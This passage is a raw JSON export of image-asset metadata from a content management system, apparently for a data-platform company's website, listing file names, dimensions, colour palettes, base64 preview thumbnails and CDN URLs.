.sanity.io/images/sczeoy4w/production/2be8db3d6708a5cf49b938420ff8c286af3460c7-1567x844.jpg"} {"_createdAt":"2022-06-30T19:56:57Z","_id":"image-2c1107b4f08d9274945bb7bf3a3f75e4517685ee-750x173-png","_rev":"QRl2cGoCgj0FlAhkRrhcGG","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:19Z","assetId":"2c1107b4f08d9274945bb7bf3a3f75e4517685ee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04eWnxuj[-;M{-qofayxuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.335260115606936,"height":173,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAnElEQVQYlVWObY7DQAhDc5EZwMZM+pHs3v90K7KV2koWP/z0gG1XMQJuu3Q+j+PxEOlz2hhhVqkE6H5b6/c8f45zqcLMxrAxtvvaMxBzwp0RjAgzn9NHN0slEmZwTyADcG96bW9ZQGOz+MxsoVJF0r/RlZaXJFKEEplUMtkh4v/ai17lewJhthHINlmilKXUlSTCX99W0y7fk4T7HydXKIX4Qy+hAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4447","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434142","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848283","foreground":"#fff","population":1.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9a7a8","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bdbbbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848283","foreground":"#fff","population":1.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#807e7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2c1107b4f08d9274945bb7bf3a3f75e4517685ee-750x173.png","path":"images/sczeoy4w/production/2c1107b4f08d9274945bb7bf3a3f75e4517685ee-750x173.png","sha1hash":"2c1107b4f08d9274945bb7bf3a3f75e4517685ee","size":20140,"uploadId":"NIrGk94afY1E7j4RnpvwbCzWharbYaZf","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c1107b4f08d9274945bb7bf3a3f75e4517685ee-750x173.png"} {"_createdAt":"2024-02-29T15:34:54Z","_id":"image-2c346f1e1f5705c347ae73a85dec36da72aec3d8-1200x630-jpg","_rev":"7ECGUAuPhsugSh811UYIKY","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T15:34:54Z","assetId":"2c346f1e1f5705c347ae73a85dec36da72aec3d8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGSx[$_OCR.SQ8tjxbNFr]WBy@LMv}Mwu5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACMQAAEEAQQBBQAAAAAAAAAAAAEAAgMEBRESE0EhBiMxMpH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAgX/xAAbEQADAAMBAQAAAAAAAAAAAAABAgMABBFhcf/aAAwDAQACEQMRAD8AZVn0G1mbm7pOwq30NUx+Tyscc0PthhJB+FEE6xMHj8TzDWZqcXLWkdHJp9mo3lVUqrOOgYp70WeLBGIJ9xnl6xo5S1X0O1jzt8ddIWS/dsWZ+WeVz5CBq4oV33JNRmVODvmZWvo1nJVZ+kfc/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d7471","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#155745","foreground":"#fff","population":1.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bc6bb","foreground":"#000","population":1.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6bd78","foreground":"#000","population":0.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a89b61","foreground":"#000","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The_Total_Economic_Impact_Of_The_Aiven_Platform_meta_preview_image_1200x630-DE.jpg","path":"images/sczeoy4w/production/2c346f1e1f5705c347ae73a85dec36da72aec3d8-1200x630.jpg","sha1hash":"2c346f1e1f5705c347ae73a85dec36da72aec3d8","size":205092,"uploadId":"BkVvt17zxQkv6xneXTsDsidzAW6TFkWH","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c346f1e1f5705c347ae73a85dec36da72aec3d8-1200x630.jpg"} {"_createdAt":"2023-06-07T13:29:44Z","_id":"image-2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyW9UTz","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:29:44Z","assetId":"2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5MHJe4.+YcF00004n00Nxkr00000LnO~C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQFBgf/xAAhEAACAQQCAgMAAAAAAAAAAAABAgMABAURBiESMTJBcf/EABYBAQEBAAAAAAAAAAAAAAAAAAECA//EABgRAQADAQAAAAAAAAAAAAAAAAEAAhFh/9oADAMBAAIRAxEAPwDQuO8MtMTEFd2lCny76G/wUxx7JHKXWUhmiRFtZfBOuyKlJHYggsdbpHEwxxZiYxoFLjba+6ioVECDXU5E7zCSS3DOL6ZQfQ16oq3NEhPxFFGTTZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394426","foreground":"#fff","population":6.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#148aa3","foreground":"#fff","population":0.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4cc","foreground":"#000","population":18.84,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4cc","foreground":"#000","population":18.84,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7be3f0","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84837a","foreground":"#fff","population":3.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#38c6d8","foreground":"#000","population":0.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"wolt-customer-img.jpg","path":"images/sczeoy4w/production/2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037.jpg","sha1hash":"2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53","size":1157807,"uploadId":"mTGbT7cDtKatgX0ncL9vbwQ3X2o7ccgK","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037.jpg"} {"_createdAt":"2022-06-30T20:00:47Z","_id":"image-2c46dce65fb4cfe60570d3f924e889a771c42f2c-758x340-png","_rev":"LKSVNTHAdZDLniZ7u2Cs35","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:17Z","assetId":"2c46dce65fb4cfe60570d3f924e889a771c42f2c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M16kO.064{^~D??t9J-,%JD-0C-m~Q9dV]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2294117647058824,"height":340,"width":758},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABXklEQVQokVWR3YrbMBCF/SyxpPnTjGTLTlyaYjbbTbPL/mYhV3uz7VXf/wWK7KZQOAyHD444o2lUs4giMgCtCqGKKOZczDpECYEAmFiiWTSVGFkic2xUM7N6j85B28IyQ9sG5yAEWrlzAYXHfXd6mZ7P28P30vWJKDYihiRrZrOpsc3G/1O7TO9D+ZIe36dfP6ffn+Plrey2uYZjrG84/1/YuUAEybB0lA2Hwsf7/v08vJzsOPO3Sbqstfbf8LXtUjiY4ryPp1s93uph1odj+rj0r/faG3gXQgDmZWcRo2vtVYRws5fzg50Ouh24FDnMenlOd7MQ1nbeA6IgSoMkiBwCel8/xnvQiHc3+vTDppEBIAToEs1fZewJALyvBIC9x4Y4iuj1WohYrzAOOu3MlIkYkZgppxhj9YiMuHJu+mEct7tSRrOsmlSzWTLLlrJWkxa4kMWb5ZRy3/elDH8AwnRfy8wcLyUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#72673d","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b9869","foreground":"#fff","population":1.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeac7c","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cac654","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b9869","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c052","foreground":"#000","population":0.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2c46dce65fb4cfe60570d3f924e889a771c42f2c-758x340.png","path":"images/sczeoy4w/production/2c46dce65fb4cfe60570d3f924e889a771c42f2c-758x340.png","sha1hash":"2c46dce65fb4cfe60570d3f924e889a771c42f2c","size":69845,"uploadId":"IbrV3XdzRzJacQURGZkf77S6cdGBqAz4","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c46dce65fb4cfe60570d3f924e889a771c42f2c-758x340.png"} {"_createdAt":"2022-06-15T20:02:02Z","_id":"image-2c5a508c3a26f5f6af772e278d473162d997ee03-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO7zuD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:29Z","assetId":"2c5a508c3a26f5f6af772e278d473162d997ee03","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCRQ,={sJ~%KRj-Onm,]kVWUU^V?$+V[Or","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC7klEQVQokU3R2WsbVxQG8Gu3dUobEmgJ9UNCV0Kh1KWBRDKRx7IcO9ZiSzOWNbI8WqxqNJqJkrSu3aR0gZaSh/6HSYotEmuxZiTNpispcO9XrJTQh+/lHPjxHQ6hoRRGkQxGd2TQSAa+IMENxeCEV9BfC6K58TUaiS/QkK7iJPshGsX3caq+ja4+A7tO4NQJLIOgo78OmWJSBeNMDWOpAno3h+HSFnxhHYNICK21b/Ey9iVa4idoyvM4zV9Gu3IBpj47Be3/wLM34KqMsaxjUvweE1nH6O4eaCgJ73YUPWEFrUgAnY0FWMnrONu5hvbeFXTKl9CtzcE0ZmAaBN3/N6R3ZIwLDzGp/4rJ/gFGWyX4a1nYq2l017bQjq7DSgpw5AD6+zdhGTdgHnyDs8PP0XpwCW195g02Bd2VNPysAao9wrB8AD+rw81UYe+o6Ge+Qz9XhJvfAVVF0Ee78P9SMPh7D2dPYmgefYam/g7aOpmmdQ5ayxIGaRVO5RCO/hiO9hOc0kO4yn14+TqGhRrGxRIm2h7Gh3nQ3xTYf8ho/7KKF/WP8bI6h2aN4FQneFEjIJ3wNnrKPTg//A735ydwj/6EWz2Cp9ThK3WMFAOvihpeVcsYGTn4D0Q4P8bRrt/ESfEjHJfeRUOdxYlGcKwRkLYg8t6Oyp3qEfeMx9xTD7mXv8+9jMb9jMZHOYOPFZ2PShU+VBXuaBJ37m1ws3KDN3Lz/B/lIn++P8efV2b4M5Vw0gklYcUV2GkVblqFl9qHf/6YRB7DzSJ8sQwvVYIjKXCyMux8EnYhAiu3gGbmKo53P8Czwnt4Wn4LTyvnJy8mmLWUYoOwxJxlibnLIvMFkQ2XUmwoiMwRRGYtJZklbLL+apTZ0QjrbwaZmfyKmdufsmZ2njWUy+ykfIEdq7OMdG9FqRWI0X4gRu1AnLrBOPWCCeovJqgfTExnvfPdYpy6tzeoGw7TwXqA9hIL1N6+Tvu716hZuEJN9SI1jTn6Lw2CJwcQ7S0bAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964402","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc6404","foreground":"#fff","population":4.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f43c4c","foreground":"#fff","population":8.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#900814","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f43c4c","foreground":"#fff","population":8.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab524b","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46904","foreground":"#fff","population":7.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2c5a508c3a26f5f6af772e278d473162d997ee03-1567x844.png","path":"images/sczeoy4w/production/2c5a508c3a26f5f6af772e278d473162d997ee03-1567x844.png","sha1hash":"2c5a508c3a26f5f6af772e278d473162d997ee03","size":532258,"uploadId":"ExvgTdTkXdXaOsUD4WTskfDulTCpi6Yh","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c5a508c3a26f5f6af772e278d473162d997ee03-1567x844.png"} {"_createdAt":"2022-12-09T16:04:36Z","_id":"image-2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c-690x413-jpg","_rev":"cwf6PSmkIH3MXtFHz0YrxA","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:36Z","assetId":"2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUECP/EACEQAAIBAwMFAAAAAAAAAAAAAAECAAMEEhMxYREiQlFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqG/Li3ODhPZ44k6xq53A0XqKAe4VfL5KtxSStSKuOomKztU1cmLsV2yO0IoxEQr//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4c40","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#20643a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0f5e8","foreground":"#000","population":2.55,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c3bc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0f5e8","foreground":"#000","population":2.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3ec06f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-iso-27701-2019.jpg","path":"images/sczeoy4w/production/2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c-690x413.jpg","sha1hash":"2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c","size":9384,"uploadId":"uXtCoCSTv5iD50eyiJQNSbeReviMo3UD","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c62adf5c781a22c9c8e1c9c0098e15bc0df1c4c-690x413.jpg"} {"_createdAt":"2023-05-16T13:42:53Z","_id":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_rev":"rmwlP4nleGzuGoL3WA6p6W","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:42:53Z","assetId":"2c6a141c98d57da2a9c9db28506031a9a6f3f5fd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSC$2?_u5L2mR-WRjozjaenHXysROa0o~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAkEAACAgEDAgcAAAAAAAAAAAABAgMEAAUREiGRBgckQXKT0f/EABUBAQEAAAAAAAAAAAAAAAAAAAYH/8QAHhEAAQMFAQEAAAAAAAAAAAAAAQACBAMFERRToVH/2gAMAwEAAhEDEQA/ANiy1WrqojZZAOrD3xt8t9Do6vavHUYmkESrwHIjbfE0neJB07Z04ZZa6xNBLJEzrsxRiu/bJ/b6jGSQ6oMgBUy8se6MWUzgk/VaIfB+iLGAKxA+ZwyPrfucR6yz9rfuGJN+Lz8CGaMnp6V//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3a3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#440504","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ac9cc","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabd64","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ea4ad","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.53,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"AIven_Platform_meta_preview_image.jpg","path":"images/sczeoy4w/production/2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630.jpg","sha1hash":"2c6a141c98d57da2a9c9db28506031a9a6f3f5fd","size":56635,"uploadId":"Vso64Othwat4NgFfQyWbEiubtn1AiAYc","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630.jpg"} {"_createdAt":"2022-10-27T07:09:38Z","_id":"image-2c963d66ddde84c9a48c265cc897382746c311f1-2500x1308-jpg","_rev":"DqbZPlWf2gzTA6NYtaMjZ1","_type":"sanity.imageAsset","_updatedAt":"2022-10-27T07:11:02Z","altText":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","assetId":"2c963d66ddde84c9a48c265cc897382746c311f1","description":"Your system works, but it could work better. A lot of businesses set up with a reasonable idea of the direction they want to take their product, but not how to get the most out of the data they’re collecting.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHAgj/xAAkEAACAQMCBgMAAAAAAAAAAAABAgMABREEIQYHEiIjMRMWcf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAIBEAAQQCAQUAAAAAAAAAAAAAAQACAxEEMhJBUoGSsf/aAAwDAQACEQMRAD8A6CfQM8jMNXMATnAOwpXdL2lotc7qwkkjYoOpsnNPo/clQ/jV2+w6OPqb431Xcmdm/RU+RkmOWOIDa/FBUQQCRj33rX1bTmncst5IdmIwy+qKlHFXjvuqVO1Qx2GwopeNdSkGa7sb6hf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4657","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f2035","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99111","foreground":"#000","population":3.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c8c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6484ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99111","foreground":"#000","population":3.65,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Make_your_streaming_data_work_for_you!.jpg","path":"images/sczeoy4w/production/2c963d66ddde84c9a48c265cc897382746c311f1-2500x1308.jpg","sha1hash":"2c963d66ddde84c9a48c265cc897382746c311f1","size":755795,"title":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","uploadId":"mq71OPMdb6ApqeuOxS8D3OehCsBYy3A0","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c963d66ddde84c9a48c265cc897382746c311f1-2500x1308.jpg"} {"_createdAt":"2022-09-30T15:36:33Z","_id":"image-2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582-png","_rev":"8WeirZ6KB9gJqgJfvjVDMb","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:25Z","assetId":"2c9722b5bd59d82603061ac75c49f8284f454ee5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7S6b]=$n9t7IU~qE0R%xb%3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2646048109965635,"height":582,"width":1900},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8klEQVQYlX3Q207CQBSF4b7/g2EEqUK4UJtyKBQ7zMyedmAO+9BiondqXPmzHuArmNlfvQUwYPa2eYUKshun6X6/T1//zwpE9DdvwFqwcHWQ+kiJhJEwU0ZGEkIhZCIhFuZReBQSyowFOOj90Pth8ENMEYkSJn21W7N7U1VltrXb13a3h+bgmsNwPPq28e3WHd51XbRt2w/9LYYQQ8qZmTOlU38uz6vZcT47LWbt4vG8XHWbF7VZqlWp1qVazz+eH05PRae6EAIzi4iMMk3jOMkNg4mgglZBd+GigjYRbAId7XeXaFTQhXMOEX/Y/Kb6E+8Tal5UVxmK1LkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6f6f","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42a241","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#52ae5f","foreground":"#fff","population":3.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2c1a6","foreground":"#000","population":1.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ede93","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66b06b","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#52ae5f","foreground":"#fff","population":3.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582.png","path":"images/sczeoy4w/production/2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582.png","sha1hash":"2c9722b5bd59d82603061ac75c49f8284f454ee5","size":20597,"uploadId":"zKJIecjsYop4ShlFphd1Gl44JtfpSleY","url":"https://cdn.sanity.io/images/sczeoy4w/production/2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582.png"} {"_createdAt":"2022-09-02T16:58:44Z","_id":"image-2cc7607cee4ea7c93c4b502ff4d1321f06585f91-1200x630-jpg","_rev":"EU2LgqOF5HzqTxO9PWePUS","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:58:44Z","assetId":"2cc7607cee4ea7c93c4b502ff4d1321f06585f91","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOP%3HuPn+MI?^XnROi_Xmxa%$Q-X7t8RO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgf/xAAlEAABAwMDAwUAAAAAAAAAAAADAQIEAAURBhIxExRBFSEjUZH/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EABwRAAICAgMAAAAAAAAAAAAAAAECAAMREiIx0f/aAAwDAQACEQMRAD8A3csO59/1GSfg3527vH1SrXl1NDjiWGZBmCRr3orsbm+aswURJL19/wBpTfbfEmXSD3QGE55ps2K8TK0IrPhuvJI0xdfV7OKW7G5yqi4THFFMwAFHEgwDawacNamESilAVUAydjBmJUYE/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3227","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0102c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1bc9e","foreground":"#000","population":1.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bc9e","foreground":"#000","population":1.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1cf52","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity